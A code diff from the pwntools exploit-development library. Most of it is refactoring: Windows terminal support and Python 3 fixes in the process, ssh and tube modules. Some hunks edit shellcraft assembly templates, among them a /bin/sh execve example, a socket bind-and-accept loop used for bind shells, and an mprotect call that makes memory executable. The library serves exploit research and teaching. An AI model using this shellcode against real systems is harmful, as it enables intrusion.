>>> ELF.from_assembly(assembly).process().recvall()
|
||||
b'Hello, world!'
|
||||
|
||||
>>> string = "Hello, world! This is a long string! Wow!"
|
||||
>>> assembly = shellcraft.pushstr(string)
|
||||
>>> assembly += shellcraft.write(1, 'sp', len(string))
|
||||
>>> assembly += shellcraft.exit()
|
||||
>>> ELF.from_assembly(assembly).process().recvall()
|
||||
b'Hello, world! This is a long string! Wow!'
|
||||
</%docstring>
|
||||
<%
|
||||
if isinstance(string, six.text_type):
|
||||
@@ -91,6 +46,8 @@ while len(string) % 8:
|
||||
words = packing.unpack_many(string)
|
||||
pairs = lists.group(2, words)
|
||||
|
||||
pairs = pairs[::-1]
|
||||
|
||||
# The stack must be 16-byte aligned
|
||||
total = len(pairs) * 16
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
from pwnlib import shellcraft
|
||||
from pwnlib.context import context as ctx
|
||||
from pwnlib.util.iters import group
|
||||
from six import text_type, binary_type
|
||||
from six import text_type, binary_type, ensure_binary
|
||||
%>
|
||||
<%docstring>
|
||||
Pushes an array/envp-style array of pointers onto the stack.
|
||||
@@ -14,66 +14,44 @@ Arguments:
|
||||
Single argument or list of arguments to push.
|
||||
NULL termination is normalized so that each argument
|
||||
ends with exactly one NULL byte.
|
||||
|
||||
Example:
|
||||
>>> assembly = shellcraft.execve("/bin/sh", ["sh", "-c", "echo Hello string $WORLD"], {"WORLD": "World!"})
|
||||
>>> ELF.from_assembly(assembly).process().recvall()
|
||||
b'Hello string World!\n'
|
||||
</%docstring>
|
||||
<%page args="reg, array, register1='x14', register2='x15'"/>
|
||||
<%
|
||||
if isinstance(array, (binary_type, text_type)):
|
||||
array = [array]
|
||||
|
||||
# Normalize all of the arguments' endings
|
||||
# Convert all items to strings
|
||||
array = [ensure_binary(x) for x in array]
|
||||
|
||||
# Normalize line endings for each item
|
||||
array = [arg.rstrip(b'\x00') + b'\x00' for arg in array]
|
||||
|
||||
# Join everything in the string-to-be-pushed
|
||||
string = b''.join(array)
|
||||
|
||||
# Maximum amount that we can adjust SP by at once is 4095,
|
||||
# which seems like a safe maximum.
|
||||
if len(array) * 8 > 4095:
|
||||
raise Exception("Array size is too large (%i), max=4095" % len(array))
|
||||
|
||||
# Join them into one big string that can be pushed
|
||||
array_str = b''.join(array)
|
||||
|
||||
# Create a listing of offsets from what will be the "top" of the stack.
|
||||
num_pointers = len(array)
|
||||
|
||||
# Account for the NULL terminator
|
||||
num_pointers += 1
|
||||
|
||||
while num_pointers % 2 != 0:
|
||||
num_pointers += 1
|
||||
|
||||
# Offset from the 'top' of the stack, to the data pointed at
|
||||
sp_to_data = num_pointers * ctx.bytes
|
||||
|
||||
# List of amounts to subtract from $SP
|
||||
offsets = {}
|
||||
for i,arg in enumerate(reversed(array)):
|
||||
offsets[i] = sp_to_data + len(array_str) - len(arg)
|
||||
|
||||
# If the array length is ODD we can sneak in our null terminator at the end
|
||||
if len(array) % 2 == 1:
|
||||
offsets[len(offsets)] = 'sp'
|
||||
|
||||
sorted_offsets = []
|
||||
for key in sorted(offsets):
|
||||
sorted_offsets.append(offsets[key])
|
||||
|
||||
# Load the offsets into pairs
|
||||
pairwise_offsets = group(2, sorted_offsets)
|
||||
%>\
|
||||
/* push argument array ${repr(array)} */
|
||||
${shellcraft.pushstr(array_str, register1=register1, register2=register2)}
|
||||
${shellcraft.pushstr(string, register1=register1, register2=register2)}
|
||||
|
||||
/* adjust the stack pointer to account for the array of pointers */
|
||||
sub sp, sp, ${num_pointers * ctx.bytes}
|
||||
/* push null terminator */
|
||||
${shellcraft.mov(register1, 0)}
|
||||
str ${register1}, [sp, #-8]!
|
||||
|
||||
/* push pointers onto the stack in pairs */
|
||||
%for i, (a, b) in enumerate(pairwise_offsets):
|
||||
${shellcraft.mov(register1, a)}
|
||||
${shellcraft.mov(register2, b)}
|
||||
sub ${register1}, sp, ${register1}
|
||||
sub ${register2}, sp, ${register2}
|
||||
stp ${register1}, ${register2}, [sp], ${i * 16}
|
||||
/* push pointers onto the stack */
|
||||
%for i, value in enumerate(reversed(array)):
|
||||
${shellcraft.mov(register1, (i+1)*8 + string.index(value))}
|
||||
add ${register1}, sp, ${register1}
|
||||
str ${register1}, [sp, #-8]! /* ${array[-i]} */
|
||||
%endfor
|
||||
%if len(array[-1] != 'sp')
|
||||
|
||||
/* set ${reg} to the current top of the stack */
|
||||
${shellcraft.mov(reg,'sp')}
|
||||
@@ -20,22 +20,22 @@ ${acceptloop}:
|
||||
/* Socket file descriptor is placed in EBP */
|
||||
|
||||
/* sock = socket(AF_INET, SOCK_STREAM, 0) */
|
||||
${i386.linux.push(0)}
|
||||
${i386.linux.push('SOCK_STREAM')}
|
||||
${i386.linux.push('AF_INET')}
|
||||
${i386.push(0)}
|
||||
${i386.push('SOCK_STREAM')}
|
||||
${i386.push('AF_INET')}
|
||||
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_socket', 'esp')}
|
||||
|
||||
${i386.linux.mov('esi', 'eax')} /* keep socket fd */
|
||||
${i386.mov('esi', 'eax')} /* keep socket fd */
|
||||
|
||||
/* bind(sock, &addr, sizeof addr); // sizeof addr == 0x10 */
|
||||
${i386.linux.push(0)}
|
||||
${i386.push(0)}
|
||||
/* ${htons(port)} == htons(${port}) */
|
||||
${i386.linux.push('AF_INET | (%d << 16)' % htons(port))}
|
||||
${i386.linux.mov('ecx', 'esp')}
|
||||
${i386.push('AF_INET | (%d << 16)' % htons(port))}
|
||||
${i386.mov('ecx', 'esp')}
|
||||
|
||||
${i386.linux.push(0x10)} /* sizeof addr */
|
||||
${i386.linux.push('ecx')} /* &addr */
|
||||
${i386.linux.push('eax')} /* sock */
|
||||
${i386.push(0x10)} /* sizeof addr */
|
||||
${i386.push('ecx')} /* &addr */
|
||||
${i386.push('eax')} /* sock */
|
||||
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_bind', 'esp')}
|
||||
|
||||
/* listen(sock, whatever) */
|
||||
@@ -44,17 +44,17 @@ ${acceptloop}:
|
||||
|
||||
${looplabel}:
|
||||
/* accept(sock, NULL, NULL) */
|
||||
${i386.linux.push(0x0)}
|
||||
${i386.linux.push('esi')} /* sock */
|
||||
${i386.push(0x0)}
|
||||
${i386.push('esi')} /* sock */
|
||||
${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_accept', 'esp')}
|
||||
|
||||
${i386.linux.mov('ebp', 'eax')} /* keep in-comming socket fd */
|
||||
${i386.mov('ebp', 'eax')} /* keep in-coming socket fd */
|
||||
|
||||
${i386.linux.syscall('SYS_fork')}
|
||||
xchg eax, edi
|
||||
|
||||
test edi, edi
|
||||
${i386.linux.mov('ebx', 'ebp')}
|
||||
${i386.mov('ebx', 'ebp')}
|
||||
cmovz ebx, esi /* on child we close the server sock instead */
|
||||
|
||||
/* close(sock) */
|
||||
|
||||
@@ -22,6 +22,6 @@
|
||||
%endif
|
||||
${label}:
|
||||
${i386.linux.syscall('SYS_mprotect', 'ebx', 'ecx', 'PROT_READ | PROT_WRITE | PROT_EXEC')}
|
||||
${i386.linux.mov('ecx', 0x1000)}
|
||||
${i386.mov('ecx', 0x1000)}
|
||||
add ebx, ecx
|
||||
jnz ${label}
|
||||
@@ -27,6 +27,9 @@ def can_init():
|
||||
``pwnlib`` manage the terminal.
|
||||
"""
|
||||
|
||||
if sys.platform == 'win32':
|
||||
return False
|
||||
|
||||
if not sys.stdout.isatty():
|
||||
return False
|
||||
|
||||
|
||||
+1
-1
@@ -18,7 +18,7 @@ __all__ = ['getch', 'getraw', 'get', 'unget']
|
||||
FLAG_CONVERTKP = True
|
||||
|
||||
try: _fd = sys.stdin.fileno()
|
||||
except Exception: _fd = file('/dev/null', 'r').fileno()
|
||||
except Exception: _fd = os.open(os.devnull, os.O_RDONLY)
|
||||
|
||||
def getch(timeout = 0):
|
||||
while True:
|
||||
|
||||
@@ -368,7 +368,7 @@ keymap = km.Keymap({
|
||||
'<any>' : handle_keypress,
|
||||
})
|
||||
|
||||
def readline(_size=None, prompt='', float=True, priority=10):
|
||||
def readline(_size=-1, prompt='', float=True, priority=10):
|
||||
# The argument _size is unused, but is there for compatibility
|
||||
# with the existing readline
|
||||
|
||||
@@ -379,7 +379,7 @@ def readline(_size=None, prompt='', float=True, priority=10):
|
||||
from pwnlib.term import term_mode
|
||||
if not term_mode:
|
||||
six.print_(prompt, end='', flush=True)
|
||||
return sys.stdin.readline(_size).rstrip('\n')
|
||||
return getattr(sys.stdin, 'buffer', sys.stdin).readline(_size).rstrip(b'\n')
|
||||
show_suggestions = False
|
||||
eof = False
|
||||
if prompt:
|
||||
@@ -433,7 +433,7 @@ def raw_input(prompt='', float=True):
|
||||
float(bool): If set to `True`, prompt and input will float to the
|
||||
bottom of the screen when `term.term_mode` is enabled.
|
||||
"""
|
||||
return readline(None, prompt, float)
|
||||
return readline(-1, prompt, float)
|
||||
|
||||
def str_input(prompt='', float=True):
|
||||
r"""str_input(prompt='', float=True)
|
||||
@@ -446,7 +446,7 @@ def str_input(prompt='', float=True):
|
||||
float(bool): If set to `True`, prompt and input will float to the
|
||||
bottom of the screen when `term.term_mode` is enabled.
|
||||
"""
|
||||
return readline(None, prompt, float).decode()
|
||||
return readline(-1, prompt, float).decode()
|
||||
|
||||
def eval_input(prompt='', float=True):
|
||||
"""eval_input(prompt='', float=True)
|
||||
@@ -465,14 +465,14 @@ def eval_input(prompt='', float=True):
|
||||
>>> try:
|
||||
... saved = sys.stdin, pwnlib.term.term_mode
|
||||
... pwnlib.term.term_mode = False
|
||||
... sys.stdin = io.StringIO(u"{'a': 20}")
|
||||
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"{'a': 20}"))
|
||||
... eval_input("Favorite object? ")['a']
|
||||
... finally:
|
||||
... sys.stdin, pwnlib.term.term_mode = saved
|
||||
Favorite object? 20
|
||||
"""
|
||||
from pwnlib.util import safeeval
|
||||
return safeeval.const(readline(None, prompt, float))
|
||||
return safeeval.const(readline(-1, prompt, float))
|
||||
|
||||
def init():
|
||||
global safeeval
|
||||
|
||||
+4
-2
@@ -2,17 +2,19 @@ from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import atexit
|
||||
import fcntl
|
||||
import os
|
||||
import re
|
||||
import signal
|
||||
import six
|
||||
import struct
|
||||
import sys
|
||||
import termios
|
||||
import threading
|
||||
import traceback
|
||||
|
||||
if sys.platform != 'win32':
|
||||
import fcntl
|
||||
import termios
|
||||
|
||||
from pwnlib.context import ContextType
|
||||
from pwnlib.term import termcap
|
||||
|
||||
|
||||
+4
-53
@@ -1,56 +1,7 @@
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
|
||||
__all__ = ['get']
|
||||
import curses
|
||||
import os
|
||||
import sys
|
||||
if sys.platform == 'win32':
|
||||
from pwnlib.term.windows_termcap import get
|
||||
else:
|
||||
from pwnlib.term.unix_termcap import get
|
||||
|
||||
cache = None
|
||||
|
||||
def get(cap, *args, **kwargs):
|
||||
default = kwargs.pop('default', '')
|
||||
|
||||
if 'PWNLIB_NOTERM' in os.environ:
|
||||
return ''
|
||||
|
||||
# Hack for readthedocs.org
|
||||
if 'READTHEDOCS' in os.environ:
|
||||
return ''
|
||||
|
||||
if kwargs != {}:
|
||||
raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])
|
||||
|
||||
if cache == None:
|
||||
init()
|
||||
s = cache.get(cap)
|
||||
if not s:
|
||||
s = curses.tigetstr(cap)
|
||||
if s == None:
|
||||
s = curses.tigetnum(cap)
|
||||
if s == -2:
|
||||
s = curses.tigetflag(cap)
|
||||
if s == -1:
|
||||
# default to empty string so tparm doesn't fail
|
||||
s = ''
|
||||
else:
|
||||
s = bool(s)
|
||||
cache[cap] = s
|
||||
# if `s' is not set `curses.tparm' will throw an error if given arguments
|
||||
if args and s:
|
||||
return curses.tparm(s, *args)
|
||||
else:
|
||||
return s
|
||||
|
||||
def init():
|
||||
global cache
|
||||
|
||||
if 'PWNLIB_NOTERM' not in os.environ:
|
||||
# Fix for BPython
|
||||
try:
|
||||
curses.setupterm()
|
||||
except curses.error as e:
|
||||
import traceback
|
||||
print('Warning:', ''.join(traceback.format_exception_only(e.__class__, e)), file=sys.stderr)
|
||||
|
||||
cache = {}
|
||||
+1
-1
@@ -40,7 +40,7 @@ class Module(types.ModuleType):
|
||||
'cyan': 6,
|
||||
'white': 7,
|
||||
}
|
||||
self._reset = '\x1b[m'
|
||||
self._reset = termcap.get('reset')
|
||||
self._attributes = {}
|
||||
for x, y in [('italic' , 'sitm'),
|
||||
('bold' , 'bold'),
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
|
||||
__all__ = ['get']
|
||||
import curses
|
||||
import os
|
||||
import sys
|
||||
|
||||
cache = None
|
||||
|
||||
def get(cap, *args, **kwargs):
|
||||
default = kwargs.pop('default', '')
|
||||
|
||||
if 'PWNLIB_NOTERM' in os.environ:
|
||||
return ''
|
||||
|
||||
# Hack for readthedocs.org
|
||||
if 'READTHEDOCS' in os.environ:
|
||||
return ''
|
||||
|
||||
if kwargs != {}:
|
||||
raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])
|
||||
|
||||
if cache is None:
|
||||
init()
|
||||
s = cache.get(cap)
|
||||
if not s:
|
||||
s = curses.tigetstr(cap)
|
||||
if s is None:
|
||||
s = curses.tigetnum(cap)
|
||||
if s == -2:
|
||||
s = curses.tigetflag(cap)
|
||||
if s == -1:
|
||||
# default to empty string so tparm doesn't fail
|
||||
s = ''
|
||||
else:
|
||||
s = bool(s)
|
||||
cache[cap] = s
|
||||
# if `s' is not set `curses.tparm' will throw an error if given arguments
|
||||
if args and s:
|
||||
return curses.tparm(s, *args)
|
||||
else:
|
||||
return s
|
||||
|
||||
def init():
|
||||
global cache
|
||||
|
||||
if 'PWNLIB_NOTERM' not in os.environ:
|
||||
# Fix for BPython
|
||||
try:
|
||||
curses.setupterm()
|
||||
except curses.error as e:
|
||||
import traceback
|
||||
print('Warning:', ''.join(traceback.format_exception_only(e.__class__, e)), file=sys.stderr)
|
||||
|
||||
cache = {}
|
||||
# Manually add reset sequence into the cache.
|
||||
# Can't look it up using tigetstr.
|
||||
cache['reset'] = '\x1b[m'
|
||||
@@ -0,0 +1,90 @@
|
||||
import os
|
||||
import msvcrt
|
||||
import ctypes
|
||||
import sys
|
||||
from ctypes import wintypes
|
||||
|
||||
__all__ = ['get']
|
||||
|
||||
cache = None
|
||||
|
||||
def get(cap, *args, **kwargs):
|
||||
default = kwargs.pop('default', '')
|
||||
|
||||
if 'PWNLIB_NOTERM' in os.environ:
|
||||
return default
|
||||
|
||||
if kwargs != {}:
|
||||
raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])
|
||||
|
||||
if cache is None:
|
||||
init()
|
||||
|
||||
s = cache.get(cap)
|
||||
if s:
|
||||
if args:
|
||||
return s(*args)
|
||||
return s
|
||||
return default
|
||||
|
||||
def init():
|
||||
global cache
|
||||
cache = {}
|
||||
|
||||
if 'PWNLIB_NOTERM' not in os.environ:
|
||||
try:
|
||||
enable_vt_mode()
|
||||
except:
|
||||
# If the terminal doesn't support ANSI escape codes, don't use them.
|
||||
return
|
||||
|
||||
# Setup capabilities similar to curses on unix.
|
||||
# https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences
|
||||
cache['colors'] = 256
|
||||
cache['reset'] = '\x1b[0m'
|
||||
cache['bold'] = '\x1b[1m'
|
||||
cache['smul'] = '\x1b[4m'
|
||||
cache['rev'] = '\x1b[7m'
|
||||
cache['setaf'] = lambda c: '\x1b[3{}m'.format(c) if c < 8 else '\x1b[9{}m'.format(c-8)
|
||||
cache['setab'] = lambda c: '\x1b[4{}m'.format(c) if c < 8 else '\x1b[10{}m'.format(c-8)
|
||||
|
||||
# Enable ANSI escape sequences on Windows 10.
|
||||
# https://bugs.python.org/issue30075
|
||||
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
|
||||
|
||||
ERROR_INVALID_PARAMETER = 0x0057
|
||||
ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004
|
||||
|
||||
def _check_bool(result, func, args):
|
||||
if not result:
|
||||
raise ctypes.WinError(ctypes.get_last_error())
|
||||
return args
|
||||
|
||||
LPDWORD = ctypes.POINTER(wintypes.DWORD)
|
||||
kernel32.GetConsoleMode.errcheck = _check_bool
|
||||
kernel32.GetConsoleMode.argtypes = (wintypes.HANDLE, LPDWORD)
|
||||
kernel32.SetConsoleMode.errcheck = _check_bool
|
||||
kernel32.SetConsoleMode.argtypes = (wintypes.HANDLE, wintypes.DWORD)
|
||||
|
||||
def set_conout_mode(new_mode, mask=0xffffffff):
|
||||
# don't assume StandardOutput is a console.
|
||||
# open CONOUT$ instead
|
||||
fdout = os.open('CONOUT$', os.O_RDWR)
|
||||
try:
|
||||
hout = msvcrt.get_osfhandle(fdout)
|
||||
old_mode = wintypes.DWORD()
|
||||
kernel32.GetConsoleMode(hout, ctypes.byref(old_mode))
|
||||
mode = (new_mode & mask) | (old_mode.value & ~mask)
|
||||
kernel32.SetConsoleMode(hout, mode)
|
||||
return old_mode.value
|
||||
finally:
|
||||
os.close(fdout)
|
||||
|
||||
def enable_vt_mode():
|
||||
mode = mask = ENABLE_VIRTUAL_TERMINAL_PROCESSING
|
||||
try:
|
||||
return set_conout_mode(mode, mask)
|
||||
except WindowsError as e:
|
||||
if e.winerror == ERROR_INVALID_PARAMETER:
|
||||
raise NotImplementedError
|
||||
raise
|
||||
+31
-23
@@ -4,19 +4,22 @@ from __future__ import division
|
||||
|
||||
import ctypes
|
||||
import errno
|
||||
import fcntl
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import pty
|
||||
import resource
|
||||
import select
|
||||
import signal
|
||||
import six
|
||||
import stat
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import tty
|
||||
|
||||
if sys.platform != 'win32':
|
||||
import fcntl
|
||||
import pty
|
||||
import resource
|
||||
import tty
|
||||
|
||||
from pwnlib import qemu
|
||||
from pwnlib.context import context
|
||||
@@ -239,8 +242,10 @@ class process(tube):
|
||||
#: :class:`subprocess.Popen` object that backs this process
|
||||
self.proc = None
|
||||
|
||||
if not shell:
|
||||
executable, argv, env = self._validate(cwd, executable, argv, env)
|
||||
if shell:
|
||||
executable_val, argv_val, env_val = executable, argv, env
|
||||
else:
|
||||
executable_val, argv_val, env_val = self._validate(cwd, executable, argv, env)
|
||||
|
||||
# Avoid the need to have to deal with the STDOUT magic value.
|
||||
if stderr is STDOUT:
|
||||
@@ -265,10 +270,10 @@ class process(tube):
|
||||
stdin, stdout, stderr, master, slave = self._handles(*handles)
|
||||
|
||||
#: Arguments passed on argv
|
||||
self.argv = argv
|
||||
self.argv = argv_val
|
||||
|
||||
#: Full path to the executable
|
||||
self.executable = executable
|
||||
self.executable = executable_val
|
||||
|
||||
if self.executable is None:
|
||||
if shell:
|
||||
@@ -277,7 +282,7 @@ class process(tube):
|
||||
self.executable = which(self.argv[0])
|
||||
|
||||
#: Environment passed on envp
|
||||
self.env = os.environ if env is None else env
|
||||
self.env = os.environ if env is None else env_val
|
||||
|
||||
self._cwd = os.path.realpath(cwd or os.path.curdir)
|
||||
|
||||
@@ -292,8 +297,8 @@ class process(tube):
|
||||
message = "Starting %s process %r" % (where, self.display)
|
||||
|
||||
if self.isEnabledFor(logging.DEBUG):
|
||||
if self.argv != [self.executable]: message += ' argv=%r ' % self.argv
|
||||
if self.env != os.environ: message += ' env=%r ' % self.env
|
||||
if argv != [self.executable]: message += ' argv=%r ' % self.argv
|
||||
if env not in (os.environ, None): message += ' env=%r ' % self.env
|
||||
|
||||
with self.progress(message) as p:
|
||||
|
||||
@@ -309,14 +314,14 @@ class process(tube):
|
||||
|
||||
for prefix, executable in prefixes:
|
||||
try:
|
||||
args = argv
|
||||
args = self.argv
|
||||
if prefix:
|
||||
args = prefix + args
|
||||
self.proc = subprocess.Popen(args = args,
|
||||
shell = shell,
|
||||
executable = executable,
|
||||
cwd = cwd,
|
||||
env = env,
|
||||
env = self.env,
|
||||
stdin = stdin,
|
||||
stdout = stdout,
|
||||
stderr = stderr,
|
||||
@@ -924,20 +929,23 @@ class process(tube):
|
||||
import pwnlib.elf.corefile
|
||||
import pwnlib.gdb
|
||||
|
||||
if self.poll() is None:
|
||||
return pwnlib.gdb.corefile(self)
|
||||
try:
|
||||
if self.poll() is None:
|
||||
return pwnlib.gdb.corefile(self)
|
||||
|
||||
finder = pwnlib.elf.corefile.CorefileFinder(self)
|
||||
if not finder.core_path:
|
||||
self.warn("Could not find core file for pid %i" % self.pid)
|
||||
return Ellipsis ##
|
||||
finder = pwnlib.elf.corefile.CorefileFinder(self)
|
||||
if not finder.core_path:
|
||||
self.warn("Could not find core file for pid %i" % self.pid)
|
||||
return None
|
||||
|
||||
core_hash = sha256file(finder.core_path)
|
||||
core_hash = sha256file(finder.core_path)
|
||||
|
||||
if self._corefile and self._corefile._hash == core_hash:
|
||||
return self._corefile
|
||||
if self._corefile and self._corefile._hash == core_hash:
|
||||
return self._corefile
|
||||
|
||||
self._corefile = pwnlib.elf.corefile.Corefile(finder.core_path)
|
||||
self._corefile = pwnlib.elf.corefile.Corefile(finder.core_path)
|
||||
except AttributeError as e:
|
||||
raise RuntimeError(e) # AttributeError would route through __getattr__, losing original message
|
||||
self._corefile._hash = core_hash
|
||||
|
||||
return self._corefile
|
||||
|
||||
@@ -117,7 +117,7 @@ class server(sock):
|
||||
data, rhost = listen_sock.recvfrom(4096)
|
||||
listen_sock.connect(rhost)
|
||||
sock = listen_sock
|
||||
sock.unrecv(data)
|
||||
self.unrecv(data)
|
||||
sock.settimeout(self.timeout)
|
||||
break
|
||||
except socket.error as e:
|
||||
|
||||
+29
-21
@@ -30,7 +30,7 @@ from pwnlib.util.sh_string import sh_string
|
||||
# Kill the warning line:
|
||||
# No handlers could be found for logger "paramiko.transport"
|
||||
paramiko_log = logging.getLogger("paramiko.transport")
|
||||
h = logging.StreamHandler(open('/dev/null','w+'))
|
||||
h = logging.StreamHandler(open(os.devnull,'w+'))
|
||||
h.setFormatter(logging.Formatter())
|
||||
paramiko_log.addHandler(h)
|
||||
|
||||
@@ -67,9 +67,9 @@ class ssh_channel(sock):
|
||||
self.tty = tty
|
||||
self.env = env
|
||||
self.process = process
|
||||
self.cwd = wd or '.'
|
||||
if isinstance(wd, six.text_type):
|
||||
wd = wd.encode('utf-8')
|
||||
self.cwd = wd or b'.'
|
||||
|
||||
env = env or {}
|
||||
msg = 'Opening new channel: %r' % (process or 'shell')
|
||||
@@ -560,6 +560,9 @@ class ssh(Timeout, Logger):
|
||||
|
||||
Example proxying:
|
||||
|
||||
.. doctest::
|
||||
:skipif: github_actions
|
||||
|
||||
>>> s1 = ssh(host='example.pwnme',
|
||||
... user='travis',
|
||||
... password='demopass')
|
||||
@@ -631,7 +634,7 @@ class ssh(Timeout, Logger):
|
||||
if os.path.exists(known_hosts):
|
||||
self.client.load_host_keys(known_hosts)
|
||||
|
||||
has_proxy = (proxy_sock or proxy_command) and True
|
||||
has_proxy = bool(proxy_sock or proxy_command)
|
||||
if has_proxy:
|
||||
if 'ProxyCommand' not in dir(paramiko):
|
||||
self.error('This version of paramiko does not support proxies.')
|
||||
@@ -828,7 +831,7 @@ class ssh(Timeout, Logger):
|
||||
>>> print(s.process('false', preexec_fn=uses_globals).recvall().strip().decode()) # doctest: +ELLIPSIS
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
NameError: global name 'bar' is not defined
|
||||
NameError: ... name 'bar' is not defined
|
||||
|
||||
>>> s.process('echo hello', shell=True).recvall()
|
||||
b'hello\n'
|
||||
@@ -869,10 +872,14 @@ class ssh(Timeout, Logger):
|
||||
arg = oarg
|
||||
if b'\x00' in arg[:-1]:
|
||||
self.error('Inappropriate nulls in argv[%i]: %r' % (i, oarg))
|
||||
argv[i] = arg.rstrip(b'\x00')
|
||||
argv[i] = bytearray(arg.rstrip(b'\x00'))
|
||||
|
||||
if env is not None and not isinstance(env, dict) and env != os.environ:
|
||||
self.error("env must be a dict: %r" % env)
|
||||
|
||||
# Converts the environment variables to a list of tuples to retain order.
|
||||
env2 = []
|
||||
# Python also doesn't like when envp contains '\x00'
|
||||
env2 = {}
|
||||
if env and hasattr(env, 'items'):
|
||||
for k, v in env.items():
|
||||
if isinstance(k, six.text_type):
|
||||
@@ -883,17 +890,16 @@ class ssh(Timeout, Logger):
|
||||
self.error('Inappropriate nulls in environment key %r' % k)
|
||||
if b'\x00' in v[:-1]:
|
||||
self.error('Inappropriate nulls in environment value %r=%r' % (k, v))
|
||||
env2[k.rstrip(b'\x00')] = v.rstrip(b'\x00')
|
||||
env2.append((bytearray(k.rstrip(b'\x00')), bytearray(v.rstrip(b'\x00'))))
|
||||
env = env2 or env
|
||||
|
||||
executable = executable or argv[0]
|
||||
cwd = cwd or self.cwd
|
||||
|
||||
# Validate, since failures on the remote side will suck.
|
||||
if not isinstance(executable, (six.text_type, six.binary_type)):
|
||||
if not isinstance(executable, (six.text_type, six.binary_type, bytearray)):
|
||||
self.error("executable / argv[0] must be a string: %r" % executable)
|
||||
if env is not None and not isinstance(env, dict) and env != os.environ:
|
||||
self.error("env must be a dict: %r" % env)
|
||||
executable = context._decode(executable)
|
||||
|
||||
# Allow passing in sys.stdin/stdout/stderr objects
|
||||
handles = {sys.stdin: 0, sys.stdout:1, sys.stderr:2}
|
||||
@@ -915,20 +921,21 @@ class ssh(Timeout, Logger):
|
||||
|
||||
func_src = inspect.getsource(func).strip()
|
||||
setuid = True if setuid is None else bool(setuid)
|
||||
|
||||
|
||||
script = r"""
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
import os, sys, ctypes, resource, platform, stat
|
||||
from collections import OrderedDict
|
||||
exe = %(executable)r
|
||||
argv = %(argv)r
|
||||
argv = [bytes(a) for a in %(argv)r]
|
||||
env = %(env)r
|
||||
|
||||
os.chdir(%(cwd)r)
|
||||
|
||||
if env is not None:
|
||||
env = OrderedDict((bytes(k), bytes(v)) for k,v in env)
|
||||
os.environ.clear()
|
||||
os.environ.update(env)
|
||||
getattr(os, 'environb', os.environ).update(env)
|
||||
else:
|
||||
env = os.environ
|
||||
|
||||
@@ -988,10 +995,11 @@ if sys.argv[-1] == 'check':
|
||||
|
||||
for fd, newfd in {0: %(stdin)r, 1: %(stdout)r, 2:%(stderr)r}.items():
|
||||
if newfd is None:
|
||||
close(fd)
|
||||
elif isinstance(newfd, str):
|
||||
os.close(fd)
|
||||
os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
|
||||
elif isinstance(newfd, (str, bytes)):
|
||||
newfd = os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
|
||||
os.dup2(newfd, fd)
|
||||
os.close(newfd)
|
||||
elif isinstance(newfd, int) and newfd != fd:
|
||||
os.dup2(fd, newfd)
|
||||
|
||||
@@ -1016,7 +1024,7 @@ except Exception:
|
||||
pass
|
||||
|
||||
%(func_src)s
|
||||
apply(%(func_name)s, %(func_args)r)
|
||||
%(func_name)s(*%(func_args)r)
|
||||
|
||||
os.execve(exe, argv, env)
|
||||
""" % locals()
|
||||
@@ -1059,9 +1067,9 @@ os.execve(exe, argv, env)
|
||||
|
||||
try:
|
||||
result = safeeval.const(python.recvline())
|
||||
except Exception:
|
||||
except (EOFError, ValueError):
|
||||
h.failure("Process creation failed")
|
||||
self.warn_once('Could not find a Python2 interpreter on %s\n' % self.host \
|
||||
self.warn_once('Could not find a Python interpreter on %s\n' % self.host \
|
||||
+ "Use ssh.run() instead of ssh.process()")
|
||||
return None
|
||||
|
||||
@@ -1085,7 +1093,7 @@ os.execve(exe, argv, env)
|
||||
python.suid = safeeval.const(python.recvline())
|
||||
python.sgid = safeeval.const(python.recvline())
|
||||
python.argv = argv
|
||||
python.executable = python.recvuntil(b'\x00')[:-1]
|
||||
python.executable = context._decode(python.recvuntil(b'\x00')[:-1])
|
||||
|
||||
h.success('pid %i' % python.pid)
|
||||
|
||||
|
||||
@@ -1376,11 +1376,11 @@ class tube(Timeout, Logger):
|
||||
def wrapperb(self, *a, **kw):
|
||||
return bytearray(func(self, *a, **kw))
|
||||
def wrapperS(self, *a, **kw):
|
||||
return context._encode(func(self, *a, **kw))
|
||||
return context._decode(func(self, *a, **kw))
|
||||
wrapperb.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a bytearray'.format(func=func)
|
||||
wrapperb.__name__ = func.__name__ + 'b'
|
||||
wrapperS.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a str,' \
|
||||
'decoding the result using `context.encoding`.' \
|
||||
wrapperS.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a str, ' \
|
||||
'decoding the result using `context.encoding`. ' \
|
||||
'(note that the binary versions are way faster)'.format(func=func)
|
||||
wrapperS.__name__ = func.__name__ + 'S'
|
||||
return wrapperb, wrapperS
|
||||
|
||||
+8
-8
@@ -1,7 +1,6 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import fcntl
|
||||
import os
|
||||
import signal
|
||||
import six
|
||||
@@ -9,7 +8,6 @@ import string
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import termios
|
||||
import time
|
||||
import types
|
||||
|
||||
@@ -21,6 +19,8 @@ from pwnlib.tubes.process import process
|
||||
log = getLogger(__name__)
|
||||
|
||||
def testpwnproc(cmd):
|
||||
import fcntl
|
||||
import termios
|
||||
env = dict(os.environ)
|
||||
env.pop("PWNLIB_NOTERM", None)
|
||||
env["TERM"] = "xterm-256color"
|
||||
